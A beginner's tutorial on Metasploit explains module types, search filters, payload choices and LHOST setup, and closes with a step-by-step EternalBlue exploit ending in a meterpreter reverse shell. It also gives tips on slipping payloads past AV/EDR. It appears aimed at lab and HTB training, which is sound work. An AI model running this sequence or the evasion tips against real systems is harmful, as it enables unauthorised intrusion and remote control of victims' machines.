Metasploit From Scratch
This guide isn't a list of commands (that's what the Metasploit cheat sheet is for) — it's how to think when you open
msfconsole: what modules actually are, how to search for the right exploit without getting lost in thousands of results, and why an exploit that "should" work sometimes doesn't.
| Level | From scratch |
| Requires | Kali/Parrot with Metasploit installed |
1. The five module types
Everything in Metasploit is a "module". Before searching for anything, it helps to be clear on which type you actually need:
| Type | What it does | Example |
|---|---|---|
| Exploit | Leverages a specific vulnerability to execute code | exploit/windows/smb/ms17_010_eternalblue |
| Auxiliary | Doesn't exploit anything directly — scans, brute-forces, checks versions | auxiliary/scanner/smb/smb_version |
| Payload | The code that runs *after* the exploit succeeds (the shell, the meterpreter...) | windows/x64/meterpreter/reverse_tcp |
| Encoder | Obfuscates a payload to dodge simple antivirus signatures | x86/shikata_ga_nai |
| Nop | Fills buffer space without affecting execution (for overflow exploits) | x86/opty2 |
The most common beginner mistake: treating
exploitas a synonym for "attack" in general. Often what you need first isn't an exploit at all, but an auxiliary module to confirm the exact service version before wasting time on the wrong exploit.
2. Finding the right module
search is more powerful than it looks at first — don't just search by service name, combine filters:
search smb # general search
search type:exploit smb # exploits only
search type:auxiliary smb # auxiliary modules only
search cve:2017-0144 # by exact CVE
search platform:windows smb # by platform
search rank:excellent smb # only the most reliable
The "rank" matters more than it seems: Metasploit grades every exploit's reliability (excellent, great, good, normal, average, low, manual). An "excellent" exploit shouldn't crash the service; a "low" or "average" one can hang it or fail silently — keep that in mind especially on real production systems.
3. Configuring the module — what almost everyone skips
use exploit/windows/smb/ms17_010_eternalblue
show options
show options lists the variables, but three details get overlooked constantly:
- Required = yes doesn't mean it already has a value — check the "Current Setting" column, not just whether it's listed
show targetsshows the exact OS/version variants the exploit supports — if your target doesn't match any of them, the exploit will fail even if everything else is configured correctlyshow advancedhides options that are sometimes the difference between working and not (timeouts, HTTP paths, protocol version)
4. Choosing a payload — the step most people get wrong
show payloads
set payload windows/x64/meterpreter/reverse_tcp
| Decision | Options | When to pick each |
|---|---|---|
| Bind vs Reverse | bind_tcp opens a port on the target and you connect to it · reverse_tcp the target connects back to you | Reverse almost always — bind fails if there's a firewall/NAT on the target, which is the usual case |
| Staged vs Stageless | Staged (/meterpreter/) sends the payload in two parts · Stageless (_reverse_tcp without meterpreter) sends it whole at once | Stageless if the target's AV/EDR inspects network traffic — it's less detectable since there's no "window" between stages |
| Shell vs Meterpreter | Shell = basic command access · Meterpreter = advanced shell with built-in post-exploitation modules | Meterpreter almost whenever the OS supports it — gives you far more control once you're in |
5. LHOST/LPORT — the #1 cause of "nothing connects back"
set LHOST <your_IP>
set LPORT 4444
LHOST has to be the IP the target can actually reach YOU on — not
127.0.0.1, not an IP on a different interface than the one you use to reach the target. If you're on an HTB VPN, it's yourtun0interface's IP, not your local network's. Double-check withip abefore launching the exploit.
To avoid repeating set LHOST on every new module:
setg LHOST <your_IP>
6. Launching and managing the session
exploit -j # launch as a background job
sessions -l # list active sessions
sessions -i 1 # interact with session 1
background # return to msfconsole without closing the session
If the module supports check, use it before exploit to confirm the target is actually vulnerable without running the real attack yet — avoids crashing a service by probing blindly.
Common errors and why they happen
| Symptom | Usual cause |
|---|---|
| Exploit runs but no session comes back | LHOST set wrong, firewall blocking the port, or a bind payload instead of reverse |
| "Exploit completed, but no session was created" | The target may not actually be vulnerable, or the target/version picked in show targets doesn't match |
| The service crashes after the attempt | Low-rank exploit against a slightly different version — recheck show targets more carefully |
| AV/EDR blocks the payload before it runs | Staged payload detected in transit — try stageless, or generate the payload separately with msfvenom and an encoder |
Full example — from search to session
search ms17_010
use exploit/windows/smb/ms17_010_eternalblue
show targets
show options
set RHOSTS 192.168.1.50
setg LHOST 10.0.0.5
check
show payloads
set payload windows/x64/meterpreter/reverse_tcp
exploit -j
sessions -l
sessions -i 1